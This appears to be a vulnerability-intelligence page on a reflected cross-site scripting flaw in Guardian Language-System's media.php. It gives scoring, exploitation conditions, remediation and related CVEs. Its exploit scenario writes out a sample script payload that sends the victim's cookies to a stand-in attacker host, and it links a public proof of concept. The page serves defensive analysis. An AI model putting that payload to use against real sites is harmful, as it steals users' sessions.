Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain low-privileged application credentials
-
DeliveryCraft media.php URL with XSS payload in id parameter
-
ExploitDeliver malicious URL to authenticated victim
-
ExecutionVictim clicks link and browser renders media.php
-
PersistInjected script executes in victim's browser session
-
ImpactSession tokens or sensitive data exfiltrated to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the attacker to hold a valid authenticated session in Guardian Language-System (confirmed by CVSS PR:L). The attack further requires a second authenticated victim user to actively follow or load the attacker-crafted URL pointing to media.php (confirmed by CVSS UI:A - active user interaction). The vulnerable code path is specifically the id GET parameter processed by media.php; no other entry point is indicated. Exploitation is limited by: the authentication prerequisite for the attacker, the social engineering or phishing step needed to deliver the URL to the victim, and the requirement that the victim actively loads the malicious link. There are no special server-side configuration requirements - the vulnerability exists in default application code. The form action injection at line 129 provides an additional abuse vector even if script-tag filtering is applied, potentially redirecting victim form submissions without script execution. |
| Impact | The CVSS 4.0 base score of 4.8 (Medium) accurately reflects the constrained real-world impact. The vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N encodes three important limiting factors: the attacker must hold a valid authenticated session (PR:L), a victim user must actively interact with the crafted URL (UI:A), and direct impact on the vulnerable system itself is nil (VC:N/VI:N/VA:N) - consequence is limited to the victim's browser context (SC:L/SI:L). No EPSS data was provided in the intelligence package, so exploitation probability cannot be quantified from that signal. No CISA KEV listing exists, indicating this has not been confirmed in widespread active exploitation campaigns. However, a publicly available POC exploit hosted on a GitHub gist lowers the technical barrier to abuse. The net assessment is a real but moderate-priority issue: exploitation is bounded by the authentication prerequisite and requires social engineering or phishing to deliver the crafted URL, but the low complexity and available POC mean it should not be deferred indefinitely in environments with multiple user roles. |
| Exploit ScenarioDerived | An attacker with a valid low-privileged account constructs a URL to media.php with a script tag payload embedded in the id GET parameter, such as id=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker delivers this URL to a higher-privileged user via email, chat, or a forum post within the application. When the victim clicks the link and their browser renders media.php, the injected script executes in the victim's session context, exfiltrating session cookies or performing authenticated actions on the victim's behalf. A publicly available POC on GitHub (https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad) provides a working demonstration of this attack path. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 01, 2026
Reflected cross-site scripting in Guardian Language-System's media.php allows authenticated attackers to inject arbitrary JavaScript into the victim's browser session by crafting a malicious URL with a script payload in the id GET parameter. The flaw exists because the id parameter is written unsanitized directly into HTML source and form action attributes at lines 119 and 129 of media.php. A publicly available proof-of-concept exploit exists on GitHub, though no KEV listing indicates broad active exploitation at time of analysis.
RemediationAI
No vendor-released patch or fixed version has been identified at time of analysis; the CPE wildcard covers all versions without a bounded upper limit and no advisory references a corrective release. The primary fix requires applying proper output encoding to the id GET parameter before it is written into HTML contexts in media.php at lines 119 and 129 - specifically, htmlspecialchars() with ENT_QUOTES and the application's character encoding should be applied at each insertion point. As a compensating control where code modification is not immediately possible, deploying a Web Application Firewall rule to block script injection patterns (angle brackets, javascript: URI schemes, event handler attributes) in the id parameter can reduce exposure with minimal application side effects. Access to media.php should also be restricted to the minimum required user roles via application-level authorization controls, reducing the pool of potential attackers. Monitor the VulnCheck advisory at https://www.vulncheck.com/advisories/guardian-language-system-xss-via-id-parameter-in-media-php for patch release updates.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Guardian Language-System is a PHP web application (cpe:2.3:a:guardian:language-system:*:*:*:*:*:*:*:*). The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting). Specifically, the id value supplied via HTTP GET is interpolated directly into two distinct HTML rendering contexts in media.php: an inline HTML element context (line 119) and a form action attribute context (line 129). Neither insertion point applies HTML entity encoding, HTML attribute escaping, or any other output sanitization, meaning angle brackets and quotes in attacker-supplied input are treated as literal markup by the browser. Injection into a form action attribute is particularly noteworthy because it can redirect form submissions to an attacker-controlled endpoint even without script tag execution, offering a secondary phishing vector.
Know when Guardian gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Network-delivered reflected XSS requiring authenticated attacker (PR:L) and victim interaction (UI:R), with scope change to victim browser causing limited confidentiality and integrity impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Guardian language-system fails to sanitize the id GET parameter before inserting it into HTML source and form action attributes in media.php (lines 119, 129). An authenticated attacker can craft a URL that injects script tags executing in the victim's browser session.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by i
Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injec
Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec
Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the
SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the
Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a
Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker
Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv
SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t
Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7
Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to
A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us
EUVD-2026-41054
GHSA-q7ff-88r7-jcwv
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB